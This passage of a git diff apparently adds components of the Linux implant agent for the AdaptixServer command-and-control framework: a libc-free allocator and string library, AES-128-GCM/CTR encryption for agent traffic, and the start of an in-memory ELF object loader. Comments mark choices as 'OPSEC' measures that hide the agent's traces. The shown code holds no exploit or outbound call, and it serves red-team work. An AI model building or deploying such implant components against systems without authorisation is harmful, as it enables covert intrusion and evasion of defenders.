+#define O_RDONLY 0
+
+// Allocation header for size tracking
+typedef struct {
+ size_t total_size;
+ size_t _pad[1]; // Align to 16 bytes
+} alloc_header_t;
+
+#define HEADER_SIZE sizeof(alloc_header_t)
+
+// Page alignment helper
+static inline size_t align_page(size_t size) {
+ return (size + 4095) & ~(size_t)4095;
+}
+
+/// ax_malloc — allocate via mmap syscall (zero libc dependency)
+void *ax_malloc(size_t size) {
+ if (size == 0) return NULL;
+
+ size_t total = align_page(HEADER_SIZE + size);
+ void *ptr = sys_mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (ptr == MAP_FAILED) return NULL;
+
+ alloc_header_t *hdr = (alloc_header_t *)ptr;
+ hdr->total_size = total;
+ return (uint8_t *)ptr + HEADER_SIZE;
+}
+
+/// ax_free — OPSEC: zero memory before munmap
+void ax_free(void *ptr) {
+ if (!ptr) return;
+
+ alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE);
+ size_t total = hdr->total_size;
+
+ // Sanity check
+ if (total < HEADER_SIZE || total > (size_t)256 * 1024 * 1024) return;
+
+ // OPSEC: Zero memory before releasing
+ volatile uint8_t *p = (volatile uint8_t *)hdr;
+ for (size_t i = 0; i < total; i++) p[i] = 0;
+
+ sys_munmap(hdr, total);
+}
+
+/// ax_realloc — malloc new + copy + free old
+void *ax_realloc(void *ptr, size_t new_size) {
+ if (!ptr) return ax_malloc(new_size);
+ if (new_size == 0) { ax_free(ptr); return NULL; }
+
+ alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE);
+ size_t old_data_size = hdr->total_size - HEADER_SIZE;
+
+ void *new_ptr = ax_malloc(new_size);
+ if (!new_ptr) return NULL;
+
+ size_t copy_size = old_data_size < new_size ? old_data_size : new_size;
+ ax_memcpy(new_ptr, ptr, copy_size);
+ ax_free(ptr);
+
+ return new_ptr;
+}
+
+/// Memory operations
+
+void *ax_memset(void *s, int c, size_t n) {
+ volatile uint8_t *p = (volatile uint8_t *)s;
+ while (n--) *p++ = (uint8_t)c;
+ return s;
+}
+
+void *ax_memcpy(void *dst, const void *src, size_t n) {
+ uint8_t *d = (uint8_t *)dst;
+ const uint8_t *s = (const uint8_t *)src;
+ while (n--) *d++ = *s++;
+ return dst;
+}
+
+void *ax_memmove(void *dst, const void *src, size_t n) {
+ uint8_t *d = (uint8_t *)dst;
+ const uint8_t *s = (const uint8_t *)src;
+ if (d < s) {
+ while (n--) *d++ = *s++;
+ } else {
+ d += n; s += n;
+ while (n--) *--d = *--s;
+ }
+ return dst;
+}
+
+int ax_memcmp(const void *a, const void *b, size_t n) {
+ const uint8_t *pa = (const uint8_t *)a;
+ const uint8_t *pb = (const uint8_t *)b;
+ while (n--) {
+ if (*pa != *pb) return *pa - *pb;
+ pa++; pb++;
+ }
+ return 0;
+}
+
+/// String operations
+
+size_t ax_strlen(const char *s) {
+ size_t len = 0;
+ while (s[len]) len++;
+ return len;
+}
+
+int ax_strcmp(const char *a, const char *b) {
+ while (*a && (*a == *b)) { a++; b++; }
+ return *(unsigned char *)a - *(unsigned char *)b;
+}
+
+int ax_strncmp(const char *a, const char *b, size_t n) {
+ while (n && *a && (*a == *b)) { a++; b++; n--; }
+ if (n == 0) return 0;
+ return *(unsigned char *)a - *(unsigned char *)b;
+}
+
+char *ax_strcpy(char *dst, const char *src) {
+ char *ret = dst;
+ while ((*dst++ = *src++));
+ return ret;
+}
+
+char *ax_strncpy(char *dst, const char *src, size_t n) {
+ char *ret = dst;
+ while (n && (*dst++ = *src++)) n--;
+ while (n--) *dst++ = 0;
+ return ret;
+}
+
+char *ax_strcat(char *dst, const char *src) {
+ char *ret = dst;
+ while (*dst) dst++;
+ while ((*dst++ = *src++));
+ return ret;
+}
+
+char *ax_strstr(const char *haystack, const char *needle) {
+ if (!*needle) return (char *)haystack;
+ for (; *haystack; haystack++) {
+ const char *h = haystack, *n = needle;
+ while (*h && *n && (*h == *n)) { h++; n++; }
+ if (!*n) return (char *)haystack;
+ }
+ return NULL;
+}
+
+char *ax_strchr(const char *s, int c) {
+ while (*s) {
+ if (*s == (char)c) return (char *)s;
+ s++;
+ }
+ if (c == 0) return (char *)s;
+ return NULL;
+}
+
+/// Integer conversion
+
+int ax_atoi(const char *s) {
+ int result = 0, sign = 1;
+ while (*s == ' ' || *s == '\t' || *s == '\n') s++;
+ if (*s == '-') { sign = -1; s++; }
+ else if (*s == '+') s++;
+ while (*s >= '0' && *s <= '9') {
+ result = result * 10 + (*s - '0');
+ s++;
+ }
+ return result * sign;
+}
+
+int ax_hextoi(const char *s) {
+ int result = 0;
+ if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2;
+ while (*s) {
+ int digit;
+ if (*s >= '0' && *s <= '9') digit = *s - '0';
+ else if (*s >= 'a' && *s <= 'f') digit = *s - 'a' + 10;
+ else if (*s >= 'A' && *s <= 'F') digit = *s - 'A' + 10;
+ else break;
+ result = result * 16 + digit;
+ s++;
+ }
+ return result;
+}
+
+char *ax_itoa(int val, char *buf, int base) {
+ char *p = buf;
+ char *start;
+ int neg = 0;
+
+ if (val < 0 && base == 10) {
+ neg = 1;
+ val = -val;
+ }
+
+ start = p;
+ do {
+ int d = val % base;
+ *p++ = (d < 10) ? '0' + d : 'a' + d - 10;
+ val /= base;
+ } while (val);
+
+ if (neg) *p++ = '-';
+ *p = 0;
+
+ // Reverse
+ char *end = p - 1;
+ char *beg = start;
+ while (beg < end) {
+ char tmp = *beg;
+ *beg++ = *end;
+ *end-- = tmp;
+ }
+
+ return buf;
+}
+
+/// Random bytes — reads /dev/urandom via direct syscall
+int ax_random_bytes(void *buf, size_t len) {
+ // Try getrandom syscall first (more OPSEC — no file open)
+ long ret = sys_getrandom(buf, len, 0);
+ if (ret == (long)len) return 0;
+
+ // Fallback: /dev/urandom
+ int fd = sys_open("/dev/urandom", O_RDONLY, 0);
+ if (fd < 0) return -1;
+
+ size_t total = 0;
+ while (total < len) {
+ ret = sys_read(fd, (uint8_t *)buf + total, len - total);
+ if (ret <= 0) { sys_close(fd); return -1; }
+ total += ret;
+ }
+ sys_close(fd);
+ return 0;
+}
+
+/// GCC builtins — required for ARM64 (and sometimes x86_64) when the compiler
+/// emits implicit memset/memcpy/memmove for struct/array initialization.
+void *memset(void *s, int c, size_t n) { return ax_memset(s, c, n); }
+void *memcpy(void *d, const void *s, size_t n) { return ax_memcpy(d, s, n); }
+void *memmove(void *d, const void *s, size_t n) { return ax_memmove(d, s, n); }
+
+/// buffer_t implementation
+
+void buf_init(buffer_t *b, int initial_cap) {
+ b->data = (uint8_t *)ax_malloc(initial_cap);
+ b->len = 0;
+ b->cap = b->data ? initial_cap : 0;
+}
+
+void buf_append(buffer_t *b, const void *data, int len) {
+ if (b->len + len > b->cap) {
+ int new_cap = b->cap * 2;
+ if (new_cap < b->len + len) new_cap = b->len + len;
+ uint8_t *new_data = (uint8_t *)ax_realloc(b->data, new_cap);
+ if (!new_data) return;
+ b->data = new_data;
+ b->cap = new_cap;
+ }
+ ax_memcpy(b->data + b->len, data, len);
+ b->len += len;
+}
+
+void buf_free(buffer_t *b) {
+ if (b->data) ax_free(b->data);
+ b->data = NULL;
+ b->len = 0;
+ b->cap = 0;
+}
+
+void buf_reset(buffer_t *b) {
+ b->len = 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h
new file mode 100644
index 000000000..08d75efa9
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h
@@ -0,0 +1,41 @@
+#ifndef CRT_H
+#define CRT_H
+
+#include
+#include
+
+/// Memory allocation (via direct mmap/munmap syscalls — zero libc dependency)
+void *ax_malloc(size_t size);
+void ax_free(void *ptr);
+void *ax_realloc(void *ptr, size_t new_size);
+
+/// Memory operations
+void *ax_memset(void *s, int c, size_t n);
+void *ax_memcpy(void *dst, const void *src, size_t n);
+void *ax_memmove(void *dst, const void *src, size_t n);
+int ax_memcmp(const void *a, const void *b, size_t n);
+
+/// String operations
+size_t ax_strlen(const char *s);
+int ax_strcmp(const char *a, const char *b);
+int ax_strncmp(const char *a, const char *b, size_t n);
+char *ax_strcpy(char *dst, const char *src);
+char *ax_strncpy(char *dst, const char *src, size_t n);
+char *ax_strcat(char *dst, const char *src);
+char *ax_strstr(const char *haystack, const char *needle);
+char *ax_strchr(const char *s, int c);
+
+/// Integer conversion
+int ax_atoi(const char *s);
+int ax_hextoi(const char *s);
+char *ax_itoa(int val, char *buf, int base);
+
+/// Random bytes (reads /dev/urandom via syscall)
+int ax_random_bytes(void *buf, size_t len);
+
+/// Formatted output (nostdlib vsnprintf)
+#include
+int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap);
+int ax_snprintf(char *buf, size_t size, const char *fmt, ...);
+
+#endif // CRT_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c
new file mode 100644
index 000000000..683564e3d
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c
@@ -0,0 +1,348 @@
+#include "crypt.h"
+#include "crt.h"
+
+/// ---- AES-128 Core ----
+
+static const uint8_t aes_sbox[256] = {
+ 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
+ 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
+ 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
+ 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
+ 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
+ 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
+ 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
+ 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
+ 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
+ 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
+ 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
+ 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
+ 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
+ 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
+ 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
+ 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16
+};
+
+static const uint8_t aes_rcon[10] = {
+ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
+};
+
+#define AES128_ROUNDS 10
+#define AES128_NK 4
+#define AES128_NB 4
+
+static void aes128_key_expand(const uint8_t* key, uint8_t* rk) {
+ ax_memcpy(rk, key, 16);
+ for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) {
+ uint8_t temp[4];
+ temp[0] = rk[(i-1)*4 + 0];
+ temp[1] = rk[(i-1)*4 + 1];
+ temp[2] = rk[(i-1)*4 + 2];
+ temp[3] = rk[(i-1)*4 + 3];
+ if (i % AES128_NK == 0) {
+ uint8_t t = temp[0];
+ temp[0] = temp[1]; temp[1] = temp[2];
+ temp[2] = temp[3]; temp[3] = t;
+ temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]];
+ temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]];
+ temp[0] ^= aes_rcon[i/AES128_NK - 1];
+ }
+ rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0];
+ rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1];
+ rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2];
+ rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3];
+ }
+}
+
+static uint8_t gf_mul(uint8_t a, uint8_t b) {
+ uint8_t result = 0;
+ while (b) {
+ if (b & 1) result ^= a;
+ uint8_t hi = a & 0x80;
+ a <<= 1;
+ if (hi) a ^= 0x1B;
+ b >>= 1;
+ }
+ return result;
+}
+
+static void sub_bytes(uint8_t* state) {
+ for (int i = 0; i < 16; i++)
+ state[i] = aes_sbox[state[i]];
+}
+
+static void shift_rows(uint8_t* s) {
+ uint8_t t;
+ t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t;
+ t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t;
+ t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t;
+}
+
+static void mix_columns(uint8_t* s) {
+ for (int c = 0; c < 4; c++) {
+ int i = c * 4;
+ uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3];
+ s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3;
+ s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3;
+ s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3);
+ s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2);
+ }
+}
+
+static void add_round_key(uint8_t* state, const uint8_t* rk, int round) {
+ for (int i = 0; i < 16; i++)
+ state[i] ^= rk[round * 16 + i];
+}
+
+static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) {
+ uint8_t state[16];
+ ax_memcpy(state, in, 16);
+ add_round_key(state, rk, 0);
+ for (int round = 1; round < AES128_ROUNDS; round++) {
+ sub_bytes(state);
+ shift_rows(state);
+ mix_columns(state);
+ add_round_key(state, rk, round);
+ }
+ sub_bytes(state);
+ shift_rows(state);
+ add_round_key(state, rk, AES128_ROUNDS);
+ ax_memcpy(out, state, 16);
+}
+
+/// ---- GCM Mode ----
+
+static void ghash_mul(uint8_t* x, const uint8_t* h) {
+ uint8_t z[16] = {0};
+ uint8_t v[16];
+ ax_memcpy(v, h, 16);
+ for (int i = 0; i < 128; i++) {
+ if (x[i / 8] & (0x80 >> (i % 8))) {
+ for (int j = 0; j < 16; j++) z[j] ^= v[j];
+ }
+ uint8_t carry = v[15] & 1;
+ for (int j = 15; j > 0; j--)
+ v[j] = (v[j] >> 1) | (v[j-1] << 7);
+ v[0] >>= 1;
+ if (carry) v[0] ^= 0xE1;
+ }
+ ax_memcpy(x, z, 16);
+}
+
+static void inc32(uint8_t* counter) {
+ for (int i = 15; i >= 12; i--) {
+ if (++counter[i]) break;
+ }
+}
+
+static void aes_ctr(const uint8_t* rk, uint8_t* counter,
+ const uint8_t* in, uint8_t* out, size_t len) {
+ uint8_t keystream[16];
+ size_t offset = 0;
+ while (offset < len) {
+ aes128_encrypt_block(counter, keystream, rk);
+ inc32(counter);
+ size_t chunk = len - offset;
+ if (chunk > 16) chunk = 16;
+ for (size_t i = 0; i < chunk; i++)
+ out[offset + i] = in[offset + i] ^ keystream[i];
+ offset += chunk;
+ }
+}
+
+/// ---- Public API ----
+
+uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len,
+ const uint8_t* key, size_t* out_len) {
+ uint8_t rk[176];
+ aes128_key_expand(key, rk);
+
+ uint8_t h[16] = {0};
+ aes128_encrypt_block(h, h, rk);
+
+ uint8_t nonce[GCM_NONCE_SIZE];
+ ax_random_bytes(nonce, GCM_NONCE_SIZE);
+
+ uint8_t j0[16] = {0};
+ ax_memcpy(j0, nonce, GCM_NONCE_SIZE);
+ j0[15] = 1;
+
+ uint8_t counter[16];
+ ax_memcpy(counter, j0, 16);
+ inc32(counter);
+
+ *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE;
+ uint8_t* output = (uint8_t*)ax_malloc(*out_len);
+ if (!output) return (uint8_t*)0;
+
+ ax_memcpy(output, nonce, GCM_NONCE_SIZE);
+
+ uint8_t* ct = output + GCM_NONCE_SIZE;
+ if (plaintext_len > 0) {
+ aes_ctr(rk, counter, plaintext, ct, plaintext_len);
+ }
+
+ uint8_t ghash_out[16] = {0};
+ size_t ct_blocks = plaintext_len / 16;
+ for (size_t i = 0; i < ct_blocks; i++) {
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= ct[i * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+ size_t ct_rem = plaintext_len % 16;
+ if (ct_rem > 0) {
+ for (size_t j = 0; j < ct_rem; j++)
+ ghash_out[j] ^= ct[ct_blocks * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+
+ uint8_t len_block[16] = {0};
+ uint64_t ct_bits = (uint64_t)plaintext_len * 8;
+ len_block[8] = (uint8_t)(ct_bits >> 56);
+ len_block[9] = (uint8_t)(ct_bits >> 48);
+ len_block[10] = (uint8_t)(ct_bits >> 40);
+ len_block[11] = (uint8_t)(ct_bits >> 32);
+ len_block[12] = (uint8_t)(ct_bits >> 24);
+ len_block[13] = (uint8_t)(ct_bits >> 16);
+ len_block[14] = (uint8_t)(ct_bits >> 8);
+ len_block[15] = (uint8_t)(ct_bits);
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= len_block[j];
+ ghash_mul(ghash_out, h);
+
+ uint8_t tag[16];
+ aes128_encrypt_block(j0, tag, rk);
+ for (int j = 0; j < 16; j++)
+ tag[j] ^= ghash_out[j];
+
+ ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE);
+
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+
+ return output;
+}
+
+uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len,
+ const uint8_t* key, size_t* out_len) {
+ if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE)
+ return (uint8_t*)0;
+
+ size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE;
+ const uint8_t* nonce = data;
+ const uint8_t* ct = data + GCM_NONCE_SIZE;
+ const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len;
+
+ uint8_t rk[176];
+ aes128_key_expand(key, rk);
+
+ uint8_t h[16] = {0};
+ aes128_encrypt_block(h, h, rk);
+
+ uint8_t j0[16] = {0};
+ ax_memcpy(j0, nonce, GCM_NONCE_SIZE);
+ j0[15] = 1;
+
+ uint8_t ghash_out[16] = {0};
+ size_t ct_blocks = ct_len / 16;
+ for (size_t i = 0; i < ct_blocks; i++) {
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= ct[i * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+ size_t ct_rem = ct_len % 16;
+ if (ct_rem > 0) {
+ for (size_t j = 0; j < ct_rem; j++)
+ ghash_out[j] ^= ct[ct_blocks * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+
+ uint8_t len_block[16] = {0};
+ uint64_t ct_bits = (uint64_t)ct_len * 8;
+ len_block[8] = (uint8_t)(ct_bits >> 56);
+ len_block[9] = (uint8_t)(ct_bits >> 48);
+ len_block[10] = (uint8_t)(ct_bits >> 40);
+ len_block[11] = (uint8_t)(ct_bits >> 32);
+ len_block[12] = (uint8_t)(ct_bits >> 24);
+ len_block[13] = (uint8_t)(ct_bits >> 16);
+ len_block[14] = (uint8_t)(ct_bits >> 8);
+ len_block[15] = (uint8_t)(ct_bits);
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= len_block[j];
+ ghash_mul(ghash_out, h);
+
+ uint8_t computed_tag[16];
+ aes128_encrypt_block(j0, computed_tag, rk);
+ for (int j = 0; j < 16; j++)
+ computed_tag[j] ^= ghash_out[j];
+
+ // Constant-time tag comparison
+ uint8_t diff = 0;
+ for (int j = 0; j < GCM_TAG_SIZE; j++)
+ diff |= computed_tag[j] ^ tag[j];
+
+ if (diff != 0) {
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+ return (uint8_t*)0;
+ }
+
+ *out_len = ct_len;
+ uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1);
+ if (!plaintext) {
+ ax_memset(rk, 0, sizeof(rk));
+ return (uint8_t*)0;
+ }
+
+ uint8_t counter[16];
+ ax_memcpy(counter, j0, 16);
+ inc32(counter);
+
+ if (ct_len > 0) {
+ aes_ctr(rk, counter, ct, plaintext, ct_len);
+ }
+
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+
+ return plaintext;
+}
+
+/// ---- Public AES-CTR wrappers (for tunnel/terminal) ----
+
+void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) {
+ aes128_key_expand(key, round_keys);
+}
+
+void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) {
+ aes128_key_expand(key, ctx->round_keys);
+ for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i];
+ ctx->ks_offset = 16;
+ for (int i = 0; i < 16; i++) ctx->keystream[i] = 0;
+}
+
+void aes128_ctr_process(aes128_ctr_ctx_t* ctx,
+ const uint8_t* in, uint8_t* out, size_t len) {
+ size_t pos = 0;
+ while (pos < len && ctx->ks_offset < 16) {
+ out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset];
+ ctx->ks_offset++;
+ pos++;
+ }
+ while (pos + 16 <= len) {
+ aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys);
+ inc32(ctx->counter);
+ for (int i = 0; i < 16; i++)
+ out[pos + i] = in[pos + i] ^ ctx->keystream[i];
+ pos += 16;
+ }
+ if (pos < len) {
+ aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys);
+ inc32(ctx->counter);
+ ctx->ks_offset = 0;
+ while (pos < len) {
+ out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset];
+ ctx->ks_offset++;
+ pos++;
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h
new file mode 100644
index 000000000..0cda22042
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h
@@ -0,0 +1,55 @@
+#ifndef CRYPT_H
+#define CRYPT_H
+
+#include
+#include
+
+/// AES-128-GCM encryption/decryption
+/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes]
+/// Key: 16 bytes (AES-128)
+/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key
+
+#define AES_KEY_SIZE 16
+#define AES_BLOCK_SIZE 16
+#define GCM_NONCE_SIZE 12
+#define GCM_TAG_SIZE 16
+
+/// Encrypt plaintext with AES-128-GCM.
+/// Allocates output buffer [nonce][ciphertext][tag].
+/// Returns output and sets *out_len. Caller must free output.
+uint8_t *aes128_gcm_encrypt(const uint8_t *plaintext, size_t plaintext_len,
+ const uint8_t *key,
+ size_t *out_len);
+
+/// Decrypt AES-128-GCM ciphertext.
+/// Input format: [nonce 12B][ciphertext][tag 16B].
+/// Returns plaintext and sets *out_len. Caller must free output.
+/// Returns NULL on authentication failure.
+uint8_t *aes128_gcm_decrypt(const uint8_t *data, size_t data_len,
+ const uint8_t *key,
+ size_t *out_len);
+
+/// Expand AES-128 key into round keys (176 bytes)
+void aes128_expand_key(const uint8_t *key, uint8_t *round_keys);
+
+/// AES-128-CTR for tunnel/terminal streaming
+/// Key: 16 bytes, IV: 16 bytes (used as initial counter)
+
+/// CTR stream context -- preserves partial keystream between calls.
+/// This matches Go's cipher.NewCTR behavior where partial blocks
+/// are carried across calls.
+typedef struct {
+ uint8_t round_keys[176];
+ uint8_t counter[16];
+ uint8_t keystream[16]; /* cached keystream block */
+ uint8_t ks_offset; /* how many bytes used in current keystream (0-16) */
+} aes128_ctr_ctx_t;
+
+/// Initialize CTR context with key and IV
+void aes128_ctr_init(aes128_ctr_ctx_t *ctx, const uint8_t *key, const uint8_t *iv);
+
+/// Process data with CTR stream (preserves partial block state)
+void aes128_ctr_process(aes128_ctr_ctx_t *ctx,
+ const uint8_t *in, uint8_t *out, size_t len);
+
+#endif /* CRYPT_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c
new file mode 100644
index 000000000..422c00fa6
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c
@@ -0,0 +1,1060 @@
+/// elf_bof.c — ELF BOF Loader for Linux Agent
+/// In-memory loader for ELF relocatable objects (.o files compiled with gcc -c)
+/// Supports x86_64 and ARM64 relocations
+/// OPSEC: mmap(RW) → mprotect per-section → execute → zero → munmap
+
+#include "elf_bof.h"
+#include "crt.h"
+#include "types.h"
+#include "msgpack.h"
+#include "jobs.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// mprotect constants
+#define PROT_NONE 0x0
+#define PROT_READ 0x1
+#define PROT_WRITE 0x2
+#define PROT_EXEC 0x4
+#define MAP_PRIVATE 0x02
+#define MAP_ANONYMOUS 0x20
+#define MAP_FAILED ((void *)-1)
+
+/// External BOF API functions (from bof_api.c)
+extern void bof_output_init(void);
+extern void bof_output_cleanup(void);
+extern const char *bof_output_get(int *out_len);
+extern int bof_output_get_error(void);
+extern void *bof_resolve_symbol(const char *name);
+extern void bof_set_async_ctx(void *ctx, int stop_fd);
+extern void bof_clear_async_ctx(void);
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Internal structures
+/// ────────────────────────────────────────────────────────────────────────────
+
+/// Loaded section descriptor
+typedef struct {
+ void *base; // pointer within the contiguous arena
+ size_t size; // allocated size (page-aligned)
+ size_t raw_size; // original section size
+ uint32_t flags; // ELF section flags (SHF_*)
+ int shndx; // original section index in ELF
+} loaded_section_t;
+
+/// Contiguous memory arena for all BOF sections + trampolines.
+/// All sections are allocated within a single mmap to guarantee PC-relative
+/// relocations (R_X86_64_PC32, R_X86_64_PLT32) stay within ±2 GB range.
+typedef struct {
+ void *base; // single mmap base
+ size_t total_size; // total mmap'd size
+ void *trampoline; // pointer to trampoline area within arena
+ int tramp_count; // number of trampolines written
+} bof_arena_t;
+
+/// Resolved symbol value
+typedef struct {
+ uint64_t value; // resolved address
+ int section; // section index (-1 if external)
+ int resolved; // 1 if resolved
+} sym_value_t;
+
+/// BOF entry function type
+typedef void (*bof_entry_t)(char *args, int args_len);
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Page alignment
+/// ────────────────────────────────────────────────────────────────────────────
+
+static inline size_t page_align(size_t size) {
+ return (size + 4095) & ~(size_t)4095;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Validate ELF header
+/// ────────────────────────────────────────────────────────────────────────────
+
+static int validate_elf(const Elf64_Ehdr *ehdr, uint32_t file_size) {
+ // Check magic
+ if (ehdr->e_ident[0] != ELFMAG0 || ehdr->e_ident[1] != ELFMAG1 ||
+ ehdr->e_ident[2] != ELFMAG2 || ehdr->e_ident[3] != ELFMAG3)
+ return -1;
+
+ // Check 64-bit little-endian
+ if (ehdr->e_ident[4] != ELFCLASS64 || ehdr->e_ident[5] != ELFDATA2LSB)
+ return -1;
+
+ // Must be relocatable object (ET_REL)
+ if (ehdr->e_type != ET_REL)
+ return -1;
+
+ // Check machine type matches our build
+#ifdef ARCH_X86_64
+ if (ehdr->e_machine != EM_X86_64)
+ return -1;
+#endif
+#ifdef ARCH_AARCH64
+ if (ehdr->e_machine != EM_AARCH64)
+ return -1;
+#endif
+
+ // Bounds check section header table
+ if (ehdr->e_shoff == 0 || ehdr->e_shnum == 0)
+ return -1;
+ if (ehdr->e_shoff + (uint64_t)ehdr->e_shnum * ehdr->e_shentsize > file_size)
+ return -1;
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Allocate sections — single contiguous mmap for all SHF_ALLOC sections
+/// This guarantees all inter-section PC-relative relocations (R_X86_64_PC32,
+/// R_X86_64_PLT32, ARM64 CALL26/JUMP26) fit within ±2 GB / ±128 MB range.
+/// A trampoline area is appended for external function calls.
+/// ────────────────────────────────────────────────────────────────────────────
+
+/// Max trampolines (one per unique external symbol reference)
+#define BOF_MAX_TRAMPOLINES 128
+
+/// Trampoline stub sizes
+#ifdef ARCH_X86_64
